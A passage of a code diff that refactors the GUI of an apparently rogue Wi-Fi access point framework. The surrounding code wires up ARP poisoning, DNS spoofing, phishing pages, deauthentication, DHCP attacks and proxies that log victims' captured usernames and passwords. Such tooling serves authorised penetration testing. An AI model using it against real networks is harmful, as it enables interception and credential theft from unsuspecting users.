self.editPasswordAP.setFixedWidth(150) - self.editPasswordAP.textChanged.connect(self.update_security_settings) - self.WPAtype_spinbox.valueChanged.connect(self.update_security_settings) - self.update_security_settings() - - # add widgets on layout Group - self.layoutNetworkPass.addWidget(QtGui.QLabel('Security type:'),0,0) - self.layoutNetworkPass.addWidget(self.WPAtype_spinbox, 0, 1) - self.layoutNetworkPass.addWidget(self.lb_type_security, 0, 2) - self.layoutNetworkPass.addWidget(QtGui.QLabel('WPA Algorithms:'), 1, 0) - self.layoutNetworkPass.addWidget(self.wpa_pairwiseCB, 1, 1) - self.layoutNetworkPass.addWidget(QtGui.QLabel('Security Key:'), 2, 0) - self.layoutNetworkPass.addWidget(self.editPasswordAP, 2, 1) - self.GroupApPassphrase.setLayout(self.layoutNetworkPass) self.btn_start_attack = QtGui.QPushButton('Start', self) self.btn_start_attack.setIcon(QtGui.QIcon('icons/start.png')) @@ -653,9 +563,11 @@ def default_TAB_Content(self): self.btn_start_attack.clicked.connect(self.start_access_point) self.btn_cancelar.setEnabled(False) + self.hBoxbutton =QtGui.QVBoxLayout() - self.Formbuttons = QtGui.QFormLayout() - self.Formbuttons.addRow(self.btn_start_attack,self.btn_cancelar) + self.Formbuttons = QtGui.QHBoxLayout() + self.Formbuttons.addWidget(self.btn_start_attack) + self.Formbuttons.addWidget(self.btn_cancelar) self.hBoxbutton.addLayout(self.Formbuttons) self.Main_ = QtGui.QVBoxLayout() @@ -685,40 +597,48 @@ def show_arp_posion(self): self.Farp_posion.setGeometry(0, 0, 450, 300) return self.Farp_posion.show() QtGui.QMessageBox.information(self,'ARP Poison Attack','this module not work with AP mode enabled. ') + def show_update(self): ''' call GUI software Update ''' self.FUpdate = self.UpdateSoftware self.FUpdate.show() + def show_exportlogger(self): ''' call GUI Report Logger files ''' self.SessionsAP= loads(str(self.FSettings.Settings.get_setting('accesspoint','sessions'))) self.FrmLogger = frm_ReportLogger(self.SessionsAP) self.FrmLogger.show() + def show_settings(self): self.FSettings.show() + def show_windows_update(self): ''' call GUI Windows Phishing Page module ''' self.FWinUpdate = GUIModules.frm_update_attack() self.FWinUpdate.setGeometry(QtCore.QRect(100, 100, 300, 300)) self.FWinUpdate.show() + def show_dhcpDOS(self): ''' call GUI DHCP attack module ''' self.Fstar = GUIModules.frm_dhcp_Attack() self.Fstar.setGeometry(QtCore.QRect(100, 100, 450, 200)) self.Fstar.show() + def showProbe(self): ''' call GUI Probe Request monitor module ''' self.Fprobe = GUIModules.frm_PMonitor() self.Fprobe.show() + def showDauth(self): ''' call GUI deauth module ''' self.Fdeauth =GUIModules.frm_deauth() self.Fdeauth.setGeometry(QtCore.QRect(100, 100, 200, 200)) self.Fdeauth.show() + def show_dns_spoof(self): ''' call GUI DnsSpoof module ''' if self.FSettings.Settings.get_setting('accesspoint','statusAP',format=bool): - if self.PopUpPlugins.GroupPluginsProxy.isChecked(): + if self.proxy.isChecked(): return QtGui.QMessageBox.information(self,'DnsSpoof with AP','if you want to use the module' ' Dns Spoof Attack with AP started, you need to disable Proxy Server. You can change this in plugins tab' ' and only it necessary that the option "Enable Proxy Server" be unmarked and ' @@ -726,11 +646,13 @@ def show_dns_spoof(self): self.Fdns = GUIModules.frm_DnsSpoof(self.window_phishing) self.Fdns.setGeometry(QtCore.QRect(100, 100, 450, 500)) self.Fdns.show() + def show_PhishingManager(self): ''' call GUI phishing attack ''' self.FPhishingManager = self.window_phishing self.FPhishingManager.txt_redirect.setText('0.0.0.0') self.FPhishingManager.show() + def show_driftnet(self): ''' start tool driftnet in Thread ''' if self.SettingsEnable['ProgCheck'][2]: @@ -739,26 +661,23 @@ def show_driftnet(self): Thread_driftnet = ThreadPopen(['driftnet', '-i', self.SettingsEnable['AP_iface'],'-d','./logs/Tools/Driftnet/',]) Thread_driftnet.setObjectName('Tool::Driftnet') - self.Apthreads['RougeAP'].append(Thread_driftnet) + self.Apthreads['RogueAP'].append(Thread_driftnet) return Thread_driftnet.start() return QtGui.QMessageBox.information(self,'Accesspoint is not running', 'The access point is not configured, this option require AP is running...') return QtGui.QMessageBox.information(self,'xterm','xterm is not installed.') return QtGui.QMessageBox.information(self,'driftnet','driftnet is not found.') - + #TODO Home Widget Routine def check_status_ap_dashboard(self): ''' show/hide dashboard infor ''' if self.statusap_action.isChecked(): - self.StatusAPTAB.scroll.setHidden(False) + self.Home.APStatus.scroll.setHidden(False) + #self.Home.DHCP.scroll.setFixedHeight(200) return self.FSettings.Settings.set_setting('settings', 'show_dashboard_info', True) self.FSettings.Settings.set_setting('settings', 'show_dashboard_info', False) - self.StatusAPTAB.scroll.setHidden(True) - - def check_StatusWPA_Security(self): - '''simple connect for get status security wireless click''' - self.FSettings.Settings.set_setting('accesspoint', - 'enable_security',self.GroupApPassphrase.isChecked()) + self.Home.APStatus.scroll.setHidden(True) + #self.Home.DHCP.scroll.setFixedHeight(400) def check_NetworkConnection(self): ''' update inferfaces ''' @@ -767,79 +686,18 @@ def check_NetworkConnection(self): self.set_StatusConnected_Iface(False,'checking...',check=True) QtCore.QTimer.singleShot(3000, lambda: self.set_backgroud_Network(interfaces)) - def check_plugins_enable(self): - ''' check plugin options saved in file ctg ''' - if self.FSettings.Settings.get_setting('plugins','tcpproxy_plugin',format=bool): - self.PopUpPlugins.check_tcpproxy.setChecked(True) - self.PopUpPlugins.checkBoxTCPproxy() - if self.FSettings.Settings.get_setting('plugins','responder_plugin',format=bool): - self.PopUpPlugins.check_responder.setChecked(True) - - if self.FSettings.Settings.get_setting('plugins','dns2proxy_plugin',format=bool): - self.PopUpPlugins.check_dns2proy.setChecked(True) - elif self.FSettings.Settings.get_setting('plugins','pumpkinproxy_plugin',format=bool): - self.PopUpPlugins.check_pumpkinProxy.setChecked(True) - elif self.FSettings.Settings.get_setting('plugins','sergioproxy_plugin',format=bool): - self.PopUpPlugins.check_sergioProxy.setChecked(True) - elif self.FSettings.Settings.get_setting('plugins','bdfproxy_plugin',format=bool): - self.PopUpPlugins.check_bdfproxy.setChecked(True) - elif self.FSettings.Settings.get_setting('plugins','noproxy',format=bool): - self.PopUpPlugins.check_noproxy.setChecked(True) - self.PopUpPlugins.GroupPluginsProxy.setChecked(False) - self.PopUpPlugins.tableplugincheckbox.setEnabled(True) - if not pump_proxy_lib: - self.PopUpPlugins.check_pumpkinProxy.setDisabled(True) - self.PopUpPlugins.checkGeneralOptions() - - def check_key_security_invalid(self): - return QtGui.QMessageBox.warning(self, 'Security Key', - 'This Key can not be used.\n' - 'The requirements for a valid key are:\n\n' - 'WPA:\n' - '- 8 to 63 ASCII characters\n\n' - 'WEP:\n' - '- 5/13 ASCII characters or 13/26 hexadecimal characters') - - def check_Wireless_Security(self): - '''check if user add security password on AP''' - if self.GroupApPassphrase.isChecked(): - self.confgSecurity = [] - if 1 <= self.WPAtype_spinbox.value() <= 2: - self.confgSecurity.append('wpa={}\n'.format(str(self.WPAtype_spinbox.value()))) - self.confgSecurity.append('wpa_key_mgmt=WPA-PSK\n') - self.confgSecurity.append('wpa_passphrase={}\n'.format(self.editPasswordAP.text())) - if '+' in self.wpa_pairwiseCB.currentText(): - self.confgSecurity.append('wpa_pairwise=TKIP CCMP\n') - else: - self.confgSecurity.append('wpa_pairwise={}\n'.format(self.wpa_pairwiseCB.currentText())) - - if self.WPAtype_spinbox.value() == 0: - self.confgSecurity.append('auth_algs=1\n') - self.confgSecurity.append('wep_default_key=0\n') - if len(self.editPasswordAP.text()) == 5 or len(self.editPasswordAP.text()) == 13: - self.confgSecurity.append('wep_key0="{}"\n'.format(self.editPasswordAP.text())) - else: - self.confgSecurity.append('wep_key0={}\n'.format(self.editPasswordAP.text())) - - for config in self.confgSecurity: - self.SettingsAP['hostapd'].append(config) - self.FSettings.Settings.set_setting('accesspoint','WPA_SharedKey',self.editPasswordAP.text()) - self.FSettings.Settings.set_setting('accesspoint','WPA_Algorithms',self.wpa_pairwiseCB.currentText()) - self.FSettings.Settings.set_setting('accesspoint','WPA_type',self.WPAtype_spinbox.value()) - - def add_DHCP_Requests_clients(self,mac,user_info): ''' get HDCP request data and send for Tab monitor ''' - return self.PumpMonitorTAB.addRequests(mac,user_info,True) + return self.StationMonitor.addRequests(mac,user_info,True) def add_data_into_QTableWidget(self,client): - self.TabInfoAP.addNextWidget(client) + self.Home.DHCP.ClientTable.addNextWidget(client) def add_avaliableIterfaces(self,ifaces): for index,item in enumerate(ifaces): if search('wl', item): - self.selectCard.addItem(ifaces[index]) - return self.btrn_refresh.setEnabled(True) + self.SessionConfig.Wireless.WLANCard.addItem(ifaces[index]) + return self.SessionConfig.Wireless.setEnabled(True) def set_dhcp_setings_ap(self,data): @@ -868,13 +726,6 @@ def set_status_label_AP(self,bool): self.status_ap_runing.setText("[OFF]") self.status_ap_runing.setStyleSheet("QLabel { color : #df1f1f; }") - def setAP_essid_random(self): - ''' set random mac 3 last digits ''' - prefix = [] - for item in [x for x in str(self.EditBSSID.text()).split(':')]: - prefix.append(int(item,16)) - self.EditBSSID.setText(Refactor.randomMacAddress([prefix[0],prefix[1],prefix[2]]).upper()) - def set_proxy_statusbar(self,name,disabled=False): if not disabled: self.status_plugin_proxy_name.setText('[ {} ]'.format(name)) @@ -894,76 +745,14 @@ def set_StatusConnected_Iface(self,bool,txt='',check=False): self.connected_status.setText('[None]') self.connected_status.setStyleSheet("QLabel { background-color: #808080; color : #000000; }") + def set_initials_configsGUI(self): ''' settings edits default and check tools ''' self.get_interfaces = Refactor.get_interfaces() - self.EditApName.setText(self.FSettings.Settings.get_setting('accesspoint','ssid')) - self.EditBSSID.setText(self.FSettings.Settings.get_setting('accesspoint','bssid')) - self.EditChannel.setValue(self.FSettings.Settings.get_setting('accesspoint','channel',format=int)) - self.SettingsEnable['PortRedirect'] = self.FSettings.redirectport.text() - - # get all Wireless Adapter available and add in comboBox - interfaces = self.get_interfaces['all'] - wireless = [] - for iface in interfaces: - if search('wl', iface): - wireless.append(iface) - self.selectCard.addItems(wireless) - if self.get_interfaces['activated'][0]: - self.set_StatusConnected_Iface(True,self.get_interfaces['activated'][0]) - else: - self.InternetShareWiFi = False - self.set_StatusConnected_Iface(False,'') - - interface = self.FSettings.Settings.get_setting('accesspoint','interfaceAP') - if interface != 'None' and interface in self.get_interfaces['all']: - self.selectCard.setCurrentIndex(wireless.index(interface)) - - # check if a program is installed - lista = [ '', '',popen('which driftnet').read().split('\n')[0], - popen('which dhcpd').read().split("\n")[0],'',popen('which hostapd').read().split("\n")[0], - popen('which xterm').read().split("\n")[0]] - for i in lista:self.SettingsEnable['ProgCheck'].append(path.isfile(i)) - # delete obj - self.deleteObject(lista) - self.deleteObject(wireless) - - def set_interface_wireless(self): - ''' get all wireless interface available ''' - self.selectCard.clear() - self.btrn_refresh.setEnabled(False) - ifaces = Refactor.get_interfaces()['all'] - QtCore.QTimer.singleShot(3000, lambda : self.add_avaliableIterfaces(ifaces)) - self.deleteObject(ifaces) - - def set_security_type_text(self,string=str): - self.lb_type_security.setText(string) - self.lb_type_security.setFixedWidth(60) - self.lb_type_security.setStyleSheet("QLabel {border-radius: 2px;" - "padding-left: 10px; background-color: #3A3939; color : silver; } " - "QWidget:disabled{ color: #404040;background-color: #302F2F; } ") - - def update_security_settings(self): - if 1 <= self.WPAtype_spinbox.value() <= 2: - self.set_security_type_text('WPA') - if 8 <= len(self.editPasswordAP.text()) <= 63 and is_ascii(str(self.editPasswordAP.text())): - self.editPasswordAP.setStyleSheet("QLineEdit { border: 1px solid green;}") - else: - self.editPasswordAP.setStyleSheet("QLineEdit { border: 1px solid red;}") - self.wpa_pairwiseCB.setEnabled(True) - if self.WPAtype_spinbox.value() == 2: - self.set_security_type_text('WPA2') - if self.WPAtype_spinbox.value() == 0: - self.set_security_type_text('WEP') - if (len(self.editPasswordAP.text()) == 5 or len(self.editPasswordAP.text()) == 13) and \ - is_ascii(str(self.editPasswordAP.text())) or (len(self.editPasswordAP.text()) == 10 or len(self.editPasswordAP.text()) == 26) and \ - is_hexadecimal(str(self.editPasswordAP.text())): - self.editPasswordAP.setStyleSheet("QLineEdit { border: 1px solid green;}") - else: - self.editPasswordAP.setStyleSheet("QLineEdit { border: 1px solid red;}") - self.wpa_pairwiseCB.setEnabled(False) - + return self.set_StatusConnected_Iface(True,self.get_interfaces['activated'][0]) + self.InternetShareWiFi = False + self.set_StatusConnected_Iface(False,'') def get_Session_ID(self): ''' get key id for session AP ''' @@ -975,12 +764,7 @@ def get_Session_ID(self): def get_disable_proxy_status(self,status): ''' check if checkbox proxy-server is enable ''' - self.PopUpPlugins.check_noproxy.setChecked(status) - self.PopUpPlugins.checkGeneralOptions() - - def get_Content_Tab_Dock(self,docklist): - ''' get tab activated in Advanced mode ''' - self.dockAreaList = docklist + self.set_proxy_statusbar('', disabled=True) def get_Error_Injector_tab(self,data): ''' get error when ssslstrip or plugin args is not exist ''' @@ -996,77 +780,6 @@ def get_status_new_commits(self,flag): self.UpdateSoftware.show() self.Timer.terminate() - def get_DHCP_Requests_clients(self,data): - ''' filter: data info sended DHCPD request ''' - self.APclients = {} - if len(data) == 8: - device = sub(r'[)|(]',r'',data[5]) - if len(device) == 0: device = 'unknown' - if Refactor.check_is_mac(data[4]): - if data[4] not in self.TabInfoAP.APclients.keys(): - self.APclients[data[4]] = {'IP': data[2], - 'device': device,'MAC': data[4],'Vendors' : self.get_mac_vendor(data[4])} - self.add_DHCP_Requests_clients(data[4],self.APclients[data[4]]) - elif len(data) == 9: - device = sub(r'[)|(]',r'',data[6]) - if len(device) == 0: device = 'unknown' - if Refactor.check_is_mac(data[5]): - if data[5] not in self.TabInfoAP.APclients.keys(): - self.APclients[data[5]] = {'IP': data[2], - 'device': device,'MAC': data[5],'Vendors' : self.get_mac_vendor(data[5])} - self.add_DHCP_Requests_clients(data[5],self.APclients[data[5]]) - elif len(data) == 7: - if Refactor.check_is_mac(data[4]): - if data[4] not in self.TabInfoAP.APclients.keys(): - leases = IscDhcpLeases(C.DHCPLEASES_PATH) - hostname = None - try: - for item in leases.get(): - if item.ethernet == data[4]: - hostname = item.hostname - if hostname == None: - item = leases.get_current() - hostname = item[data[4]] - except: - hostname = 'unknown' - if hostname == None or len(hostname) == 0:hostname = 'unknown' - self.APclients[data[4]] = {'IP': data[2],'device': hostname, - 'MAC': data[4], 'Vendors': self.get_mac_vendor(data[4])} - self.add_DHCP_Requests_clients(data[4],self.APclients[data[4]]) - if self.APclients != {}: - self.add_data_into_QTableWidget(self.APclients) - self.connectedCount.setText(str(len(self.TabInfoAP.APclients.keys()))) - - def get_mac_vendor(self,mac): - ''' discovery mac vendor by mac address ''' - try: - d_vendor = EUI(mac) - d_vendor = d_vendor.oui.registration().org - except: - d_vendor = 'unknown mac' - return d_vendor - - def get_DHCP_Discover_clients(self,message): - '''get infor client connected with AP ''' - self.APclients = {} - if message['mac_addr'] not in self.TabInfoAP.APclients.keys(): - self.APclients[message['mac_addr']] = \ - {'IP': message['ip_addr'], - 'device': message['host_name'], - 'MAC': message['mac_addr'], - 'Vendors' : self.get_mac_vendor(message['mac_addr'])} - - self.add_DHCP_Requests_clients(message['mac_addr'],self.APclients[message['mac_addr']]) - self.add_data_into_QTableWidget(self.APclients) - self.connectedCount.setText(str(len(self.TabInfoAP.APclients.keys()))) - - def get_Hostapd_Response(self,data): - ''' get inactivity client from hostapd response''' - if self.TabInfoAP.APclients != {}: - if data in self.TabInfoAP.APclients.keys(): - self.PumpMonitorTAB.addRequests(data,self.TabInfoAP.APclients[data],False) - self.TabInfoAP.delete_item(data) - self.connectedCount.setText(str(len(self.TabInfoAP.APclients.keys()))) def get_error_hostapdServices(self,data): '''check error hostapd on mount AP ''' @@ -1085,70 +798,12 @@ def get_soft_dependencies(self): return QtGui.QMessageBox.warning(self,'Error dhcpd','isc-dhcp-server (dhcpd) is not installed') return True - def get_dns2proxy_output(self,data): - ''' get std_ouput the thread dns2proxy and add in DockArea ''' - if self.FSettings.Settings.get_setting('accesspoint','statusAP',format=bool): - if hasattr(self,'dockAreaList'): - if self.PumpSettingsTAB.dockInfo['Dns2Proxy']['active']: - try: - data = str(data).split(' : ')[1] - for line in data.split('\n'): - if len(line) > 2 and not self.currentSessionID in line: - self.dockAreaList['Dns2Proxy'].writeModeData(line) - except IndexError: - return None - - def get_responder_output(self,data): - ''' get std_ouput the thread responder and add in DockArea ''' - if self.FSettings.Settings.get_setting('accesspoint','statusAP',format=bool): - if hasattr(self,'dockAreaList'): - if self.PumpSettingsTAB.dockInfo['Responder']['active']: - for line in data.split('\n'): - self.dockAreaList['Responder'].writeModeData(line) - self.responderlog.info(line) - - def get_bdfproxy_output(self,data): - ''' get std_ouput the thread bdfproxy and add in DockArea ''' - if self.FSettings.Settings.get_setting('accesspoint','statusAP',format=bool): - if hasattr(self,'dockAreaList'): - if self.PumpSettingsTAB.dockInfo['BDFProxy']['active']: - try: - data = str(data).split(' : ')[1] - for line in data.split('\n'): - if len(line) > 2: - self.dockAreaList['BDFProxy'].writeModeData(line) - except IndexError: - return None - def get_PumpkinProxy_output(self,data): ''' get std_ouput the thread Pumpkin-Proxy and add in DockArea ''' if self.FSettings.Settings.get_setting('accesspoint','statusAP',format=bool): self.PumpkinProxyTAB.tableLogging.writeModeData(data) self.LogPumpkinproxy.info(data) - def get_TCPproxy_output(self,data): - ''' get std_output from thread TCPproxy module and add in DockArea''' - if self.FSettings.Settings.get_setting('accesspoint', 'statusAP', format=bool): - if hasattr(self,'dockAreaList'): - if data.keys()[0] == 'urlsCap': - if self.PumpSettingsTAB.dockInfo['HTTP-Requests']['active']: - self.dockAreaList['HTTP-Requests'].writeModeData(data) - self.LogUrlMonitor.info('[ {0[src]} > {0[dst]} ] {1[Method]} {1[Host]}{1[Path]}'.format( - data['urlsCap']['IP'], data['urlsCap']['Headers'])) - elif data.keys()[0] == 'POSTCreds': - if self.PumpSettingsTAB.dockInfo['HTTP-Authentication']['active']: - self.dockAreaList['HTTP-Authentication'].writeModeData(data) - self.LogCredsMonitor.info('URL: {}'.format(data['POSTCreds']['Url'])) - self.LogCredsMonitor.info('UserName: {}'.format(data['POSTCreds']['User'])) - self.LogCredsMonitor.info('UserName: {}'.format(data['POSTCreds']['Pass'])) - self.LogCredsMonitor.info('Packets: {}'.format(data['POSTCreds']['Destination'])) - elif data.keys()[0] == 'image': - self.ImageCapTAB.SendImageTableWidgets(data['image']) - else: - self.PacketSnifferTAB.tableLogging.writeModeData(data) - self.LogTcpproxy.info('[{}] {}'.format(data.keys()[0],data[data.keys()[0]])) - - def deleteObject(self,obj): ''' reclaim memory ''' del obj @@ -1171,48 +826,7 @@ def clean_all_loggers(self): def configure_network_AP(self): ''' configure interface and dhcpd for mount Access Point ''' - self.DHCP = self.PumpSettingsTAB.getPumpkinSettings() self.SettingsEnable['PortRedirect'] = self.FSettings.Settings.get_setting('settings','redirect_port') - self.SettingsAP = { - 'interface': - [ - 'ifconfig %s up'%(self.SettingsEnable['AP_iface']), - 'ifconfig %s %s netmask %s'%(self.SettingsEnable['AP_iface'],self.DHCP['router'],self.DHCP['netmask']), - 'ifconfig %s mtu 1400'%(self.SettingsEnable['AP_iface']), - 'route add -net %s netmask %s gw %s'%(self.DHCP['subnet'], - self.DHCP['netmask'],self.DHCP['router']) - ], - 'kill': - [ - 'iptables --flush', - 'iptables --table nat --flush', - 'iptables --delete-chain', - 'iptables --table nat --delete-chain', - 'ifconfig %s 0'%(self.SettingsEnable['AP_iface']), - 'killall dhpcd 2>/dev/null', - ], - 'hostapd': - [ - 'interface={}\n'.format(str(self.selectCard.currentText())), - 'ssid={}\n'.format(str(self.EditApName.text())), - 'channel={}\n'.format(str(self.EditChannel.value())), - 'bssid={}\n'.format(str(self.EditBSSID.text())), - ], - 'dhcp-server': - [ - 'authoritative;\n', - 'default-lease-time {};\n'.format(self.DHCP['leasetimeDef']), - 'max-lease-time {};\n'.format(self.DHCP['leasetimeMax']), - 'subnet %s netmask %s {\n'%(self.DHCP['subnet'],self.DHCP['netmask']), - 'option routers {};\n'.format(self.DHCP['router']), - 'option subnet-mask {};\n'.format(self.DHCP['netmask']), - 'option broadcast-address {};\n'.format(self.DHCP['broadcast']), - 'option domain-name \"%s\";\n'%(str(self.EditApName.text())), - 'option domain-name-servers {};\n'.format('8.8.8.8'), - 'range {};\n'.format(self.DHCP['range'].replace('/',' ')), - '}', - ], - } print('[*] Enable forwarding in iptables...') Refactor.set_ip_forward(1) # clean iptables settings @@ -1229,54 +843,8 @@ def configure_network_AP(self): def start_access_point(self): ''' start Access Point and settings plugins ''' - if len(self.selectCard.currentText()) == 0: - return QtGui.QMessageBox.warning(self,'Error interface ','Network interface is not found') - if not type(self.get_soft_dependencies()) is bool: return - - # check if interface has been support AP mode (necessary for hostapd) - if self.FSettings.Settings.get_setting('accesspoint','check_support_ap_mode',format=bool): - if not 'AP' in Refactor.get_supported_interface(self.selectCard.currentText())['Supported']: - return QtGui.QMessageBox.warning(self,'No Network Supported failed', - "failed AP mode: warning interface , the feature " - "Access Point Mode is Not Supported By This Device ->({}).

" - "Your adapter does not support for create Access Point Network." - " ".format(self.selectCard.currentText())) - - # check connection with internet - self.interfacesLink = Refactor.get_interfaces() - - # check if Wireless interface is being used - if str(self.selectCard.currentText()) == self.interfacesLink['activated'][0]: - iwconfig = Popen(['iwconfig'], stdout=PIPE,shell=False,stderr=PIPE) - for line in iwconfig.stdout.readlines(): - if str(self.selectCard.currentText()) in line: - return QtGui.QMessageBox.warning(self,'Wireless interface is busy', - 'Connection has been detected, this {} is joined the correct Wi-Fi network' - ' : Device or resource busy\n{}\nYou may need to another Wi-Fi USB Adapter' - ' for create AP or try use with local connetion(Ethernet).'.format( - str(self.selectCard.currentText()),line)) - - # check if range ip class is same - gateway_wp, gateway = self.PumpSettingsTAB.getPumpkinSettings()['router'],self.interfacesLink['gateway'] - if gateway != None: - if gateway_wp[:len(gateway_wp)-len(gateway_wp.split('.').pop())] == \ - gateway[:len(gateway)-len(gateway.split('.').pop())]: - return QtGui.QMessageBox.warning(self,'DHCP Server settings', - 'The DHCP server check if range ip class is same.' - 'it works, but not share internet connection in some case.
' - 'for fix this, You need change on tab (settings -> Class Ranges)' - ' now you have choose the Class range different of your network.') - del(gateway,gateway_wp) - - # Check the key - if self.GroupApPassphrase.isChecked(): - if 1 <= self.WPAtype_spinbox.value() <= 2: - if not (8 <= len(self.editPasswordAP.text()) <= 63 and is_ascii(str(self.editPasswordAP.text()))): - return self.check_key_security_invalid() - if self.WPAtype_spinbox.value() == 0: - if not (len(self.editPasswordAP.text()) == 5 or len(self.editPasswordAP.text()) == 13) and is_ascii(str(self.editPasswordAP.text()))\ - and not ((len(self.editPasswordAP.text()) == 10 or len(self.editPasswordAP.text()) == 24) and is_hexadecimal(str(self.editPasswordAP.text()))): - return self.check_key_security_invalid() + + if self.wireless.Start() != None: return print('\n[*] Loading debugging mode') # create session ID to logging process @@ -1285,192 +853,43 @@ def start_access_point(self): self.SessionsAP[self.currentSessionID]['started'] = asctime() print('[*] Current Session::ID [{}]'.format(self.currentSessionID)) - # clear before session - if hasattr(self,'dockAreaList'): - for dock in self.dockAreaList.keys(): - self.dockAreaList[dock].clear() - self.dockAreaList[dock].stopProcess() - self.PumpkinProxyTAB.tableLogging.clearContents() - self.ImageCapTAB.TableImage.clear() - self.ImageCapTAB.TableImage.setRowCount(0) - - # check if using ethernet or wireless connection - print('[*] Configuring hostapd...') - self.SettingsEnable['AP_iface'] = str(self.selectCard.currentText()) - set_monitor_mode(self.SettingsEnable['AP_iface']).setDisable() - if self.interfacesLink['activated'][1] == 'ethernet' or self.interfacesLink['activated'][1] == 'ppp' \ - or self.interfacesLink['activated'][0] == None: #allow use without internet connection - # change Wi-Fi state card - Refactor.kill_procInterfaceBusy() # killing network process - try: - check_output(['nmcli','radio','wifi',"off"]) # old version - except Exception: - try: - check_output(['nmcli','nm','wifi',"off"]) # new version - except Exception as error: - return QtGui.QMessageBox.warning(self,'Error nmcli',str(error)) - finally: - call(['rfkill', 'unblock' ,'wifi']) - - #elif self.interfacesLink['activated'][1] == 'wireless': - # # exclude USB wireless adapter in file NetworkManager - # if not Refactor.settingsNetworkManager(self.SettingsEnable['AP_iface'],Remove=False): - # return QMessageBox.warning(self,'Network Manager', - # 'Not found file NetworkManager.conf in folder /etc/NetworkManager/') - - # get Tab-Hostapd conf and configure hostapd - self.configure_network_AP() - self.check_Wireless_Security() # check if user set wireless password - ignore = ('interface=','ssid=','channel=','essid=') - with open(C.HOSTAPDCONF_PATH,'w') as apconf: - for i in self.SettingsAP['hostapd']:apconf.write(i) - for config in str(self.FSettings.ListHostapd.toPlainText()).split('\n'): - if not config.startswith('#') and len(config) > 0: - if not config.startswith(ignore): - apconf.write(config+'\n') - apconf.close() - - # create thread for hostapd and connect get_Hostapd_Response function - self.Thread_hostapd = ProcessHostapd({self.hostapd_path:[C.HOSTAPDCONF_PATH]}, self.currentSessionID) - self.Thread_hostapd.setObjectName('hostapd') - self.Thread_hostapd.statusAP_connected.connect(self.get_Hostapd_Response) - self.Thread_hostapd.statusAPError.connect(self.get_error_hostapdServices) - self.Apthreads['RougeAP'].append(self.Thread_hostapd) + + self.ImageSniffer.TableImage.clear() + self.ImageSniffer.TableImage.setRowCount(0) # disable options when started AP self.btn_start_attack.setDisabled(True) - self.GroupAP.setEnabled(False) - self.GroupApPassphrase.setEnabled(False) - self.GroupAdapter.setEnabled(False) - self.PumpSettingsTAB.GroupDHCP.setEnabled(False) - self.PopUpPlugins.tableplugins.setEnabled(False) - self.PopUpPlugins.tableplugincheckbox.setEnabled(False) + self.SessionConfig.DHCP.setEnabled(False) + + self.proxy.setEnabled(False) + self.mitmhandler.setEnabled(False) self.btn_cancelar.setEnabled(True) + #clear clients on table info + self.Home.DHCP.ClientTable.clearInfoClients() + # start section time - self.StatusAPTAB.update_labels() - self.StatusAPTAB.start_timer() - - # create thread dhcpd and connect fuction get_DHCP_Requests_clients - print('[*] Configuring dhcpd...') - if self.FSettings.Settings.get_setting('accesspoint','dhcpd_server',format=bool): - # create dhcpd.leases and set permission for acesss DHCPD - leases = C.DHCPLEASES_PATH - if not path.exists(leases[:-12]): - mkdir(leases[:-12]) - if not path.isfile(leases): - with open(leases, 'wb') as leaconf: - leaconf.close() - uid = getpwnam('root').pw_uid - gid = getgrnam('root').gr_gid - chown(leases, uid, gid) - - self.Thread_dhcp = ThRunDhcp(['dhcpd','-d','-f','-lf',C.DHCPLEASES_PATH,'-cf', - '/etc/dhcp/dhcpd_wp.conf',self.SettingsEnable['AP_iface']],self.currentSessionID) - self.Thread_dhcp.sendRequest.connect(self.get_DHCP_Requests_clients) - self.Thread_dhcp.setObjectName('DHCP') - self.Apthreads['RougeAP'].append(self.Thread_dhcp) - self.PopUpPlugins.checkGeneralOptions() # check rules iptables - - elif self.FSettings.Settings.get_setting('accesspoint','pydhcp_server',format=bool): - if self.FSettings.Settings.get_setting('accesspoint','pydns_server',format=bool): - self.ThreadDNSServer = DNSServer(self.SettingsEnable['AP_iface'],self.DHCP['router']) - self.ThreadDNSServer.setObjectName('DNSServer') # use DNS python implements - - elif self.FSettings.Settings.get_setting('accesspoint','dnsproxy_server',format=bool): - self.ThreadDNSServer = ProcessThread({'python':['plugins/external/dns2proxy/dns2proxy.py','-i', - str(self.selectCard.currentText()),'-k',self.currentSessionID]}) - self.ThreadDNSServer._ProcssOutput.connect(self.get_dns2proxy_output) - self.ThreadDNSServer.setObjectName('DNSServer') # use dns2proxy as DNS server - - if not self.PopUpPlugins.check_dns2proy.isChecked(): - self.Apthreads['RougeAP'].append(self.ThreadDNSServer) - #self.PopUpPlugins.set_Dns2proxyRule() # disabled :: redirect UDP port 53 - - self.ThreadDHCPserver = DHCPServer(self.SettingsEnable['AP_iface'],self.DHCP) - self.ThreadDHCPserver.sendConnetedClient.connect(self.get_DHCP_Discover_clients) - self.ThreadDHCPserver.setObjectName('DHCPServer') - self.Apthreads['RougeAP'].append(self.ThreadDHCPserver) + self.Home.APStatus.update_labels() + self.Home.APStatus.start_timer() self.set_status_label_AP(True) - self.ProxyPluginsTAB.GroupSettings.setEnabled(False) - self.FSettings.Settings.set_setting('accesspoint','statusAP',True) - self.FSettings.Settings.set_setting('accesspoint','interfaceAP',str(self.selectCard.currentText())) - - - # check plugins that use sslstrip - if self.PopUpPlugins.check_dns2proy.isChecked() or self.PopUpPlugins.check_sergioProxy.isChecked(): - # load ProxyPLugins - self.plugin_classes = Plugin.PluginProxy.__subclasses__() - self.plugins = {} - for p in self.plugin_classes: - self.plugins[p._name] = p() - # check if twisted is started - if not self.THReactor.isRunning(): - self.THReactor.start() - - #create logging for somes threads - setup_logger('pumpkinproxy', C.LOG_PUMPKINPROXY, self.currentSessionID) - setup_logger('urls_capture', C.LOG_URLCAPTURE, self.currentSessionID) - setup_logger('creds_capture', C.LOG_CREDSCAPTURE, self.currentSessionID) - setup_logger('tcp_proxy', C.LOG_TCPPROXY, self.currentSessionID) - setup_logger('responder', C.LOG_RESPONDER, self.currentSessionID) - self.LogPumpkinproxy = getLogger('pumpkinproxy') - self.LogUrlMonitor = getLogger('urls_capture') - self.LogCredsMonitor = getLogger('creds_capture') - self.LogTcpproxy = getLogger('tcp_proxy') - self.responderlog = getLogger('responder') - - - if self.PopUpPlugins.check_responder.isChecked(): - # create thread for plugin responder - self.Thread_responder = ProcessThread({ - 'python':[C.RESPONDER_EXEC,'-I', str(self.selectCard.currentText()),'-wrFbv']}) - self.Thread_responder._ProcssOutput.connect(self.get_responder_output) - self.Thread_responder.setObjectName('Responder') - self.Apthreads['RougeAP'].append(self.Thread_responder) - - if self.PopUpPlugins.check_dns2proy.isChecked(): - # create thread for plugin DNS2proxy - self.Thread_dns2proxy = 